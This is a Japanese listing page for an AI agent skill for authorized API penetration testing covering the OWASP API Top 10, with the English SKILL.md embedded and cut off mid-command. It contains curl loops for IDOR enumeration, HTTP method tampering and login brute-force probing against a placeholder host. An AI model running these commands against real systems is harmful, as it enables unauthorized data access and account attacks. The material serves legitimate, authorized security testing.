offensive-api-security
できること
このスキルは、REST、gRPC、WebSocketのAPIに対する、許可を得たセキュリティテストの方法論です。オブジェクトへのアクセス、認証、マスアサインメントを含む、OWASP API Security Top 10を扱います。合意された範囲でAPIをテストするセキュリティの専門家向けです。
使う場面
- ✓許可を得た評価で、APIのオブジェクトレベルの不正アクセスやIDORをテストしているとき。
- ✓REST、gRPC、WebSocketのAPIを、OWASP API Top 10と照らし合わせて確認したいとき。
- ✓署名された許可のあるAPIテストで、レート制限、マスアサインメント、SSRFを確認したいとき。
スキルのリンク
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/api/offensive-api-security/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“RESTのAPIをテストする書面による許可があります。壊れたオブジェクトレベルのアクセスがないか確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
このスキルは、APIの表面を地図にし、認証、異なるユーザーアカウントをまたぐオブジェクトへのアクセス、ロールの境界、パラメーターの扱いをテストします。各指摘を、再現の手順と重大度の評価とともに記録します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Offensive API Security Testing
You are conducting authorized security assessments against API-driven applications. This skill covers REST, gRPC, and WebSocket attack surfaces with emphasis on the OWASP API Security Top 10 2023. Every technique assumes you have written authorization and a defined scope. Your goal is to identify vulnerabilities that allow unauthorized data access, privilege escalation, or service disruption through API-layer attacks.
Quick Workflow
- Map the API surface: collect OpenAPI/Swagger specs, gRPC reflection output, and WebSocket endpoints.
- Enumerate authentication mechanisms: API keys, OAuth flows, JWTs, session tokens.
- Test BOLA/IDOR by substituting object identifiers across authenticated contexts.
- Probe authorization boundaries with BFLA checks across roles and HTTP methods.
- Fuzz parameters for mass assignment, content-type switching, and verb tampering.
- Assess rate limiting and resource consumption controls.
- Test gRPC-specific vectors: reflection enumeration, metadata injection, protobuf manipulation.
- Evaluate WebSocket security: origin validation, message integrity, CSWSH.
- Check for SSRF via URL-accepting parameters and webhook configurations.
- Document findings with reproduction steps and severity ratings.
OWASP API Top 10 2023 -- BOLA and IDOR
Broken Object Level Authorization (BOLA) is the most prevalent API vulnerability. You test it by capturing a legitimate request containing an object identifier and replaying it with identifiers belonging to other users or tenants.
GET /api/v1/users/1001/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
Replay with a different user ID while retaining the original token:
GET /api/v1/users/1002/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
Automate IDOR testing across sequential and UUID-based identifiers:
# Sequential ID enumeration
for id in $(seq 1000 1050); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" \
"https://target.example.com/api/v1/users/${id}/orders")
echo "ID: ${id} -> HTTP ${status}"
done
# Test with collected UUIDs from other endpoints
while read -r uuid; do
resp=$(curl -s -H "Authorization: Bearer $TOKEN_A" \
"https://target.example.com/api/v1/documents/${uuid}")
echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')"
done < collected_uuids.txt
Test across HTTP methods -- an endpoint may enforce authorization on GET but not on PUT or DELETE:
for method in GET PUT PATCH DELETE; do
curl -s -o /dev/null -w "${method} -> %{http_code}\n" \
-X "${method}" \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"status":"cancelled"}' \
"https://target.example.com/api/v1/users/1002/orders/5001"
done
Broken Authentication and Excessive Data Exposure
Test authentication endpoints for credential stuffing resilience, token lifecycle weaknesses, and information leakage in API responses.
# Rapid credential testing -- probe for missing rate limits on login
for i in $(seq 1 100); do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d "{\"email\":\"test@example.com\",\"password\":\"attempt${i}\"}" \
"https://target.example.com/api/v1/auth/login")
echo "Attempt ${i}: HTTP ${code}"
[ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break
done
Check for excessive data exposure by comparing full API responses against what the UI renders. Look for internal IDs, other users' emails, hashed passwords, role assignments, or PII the client never displays:
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users/me" | jq .
Test token validation weaknesses:
# Expired token, post-password-change token, malformed bearer values
curl -s -o /dev/null -w "Expired: %{http_code}\n" \
-H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://target.example.com/api/v1/users/me"
curl -s -o /dev/null -w "Pre-change: %{http_code}\n" \
-H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN" \
"https://target.example.com/api/v1/users/me"
for val in "" "null" "undefined" "Bearer" "Bearer "; do
curl -s -o /dev/null -w "Value '${val}' -> %{http_code}\n" \
-H "Authorization: ${val}" \
"https://ta
よくある質問
BOLAとは何ですか?
壊れたオブジェクトレベルの認可のことで、識別子を変えることで、ユーザーが他のユーザーのオブジェクトに到達できてしまうことです。
gRPCやWebSocketも扱いますか?
はい。gRPCのリフレクションとメタデータのテスト、WebSocketのOriginとメッセージの確認を含みます。
合意された範囲が必要ですか?
はい。このスキルは、テストの前に書面による許可と定義された範囲があることを前提としています。
詳細
作者による元の説明
Comprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and
repo: SnailSploit/Claude-Red
人気
- GitHubのスター
- 10k
- ランキング
- #11946
- ライセンス
- MIT
- 更新日
- 2026/10/12
コメント
- …
このリポジトリの他のスキル
offensive-active-directory
10kエージェントが、ネットワークの地図作成から Domain Adminへの攻撃経路の発見まで、許可を得た Active Directoryのセキュリティテストを計画できるよう支援します。
offensive-netexec
10kエージェントが、許可を得たネットワークのテストで、NetExec(nxc)ツールを使えるよう支援します。プロトコル、認証、認証情報の確認を扱います。
offensive-api-abuse
10kエージェントが、ビジネスロジックの悪用、GraphQLのリスク、競合状態を探す、許可を得たAPIのセキュリティテストを計画できるよう支援します。
offensive-jwt
10kエージェントが、弱い署名やアルゴリズムの混乱などの、許可を得たセキュリティの欠陥がないか、JWTのログイン・トークンをテストできるよう支援します。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。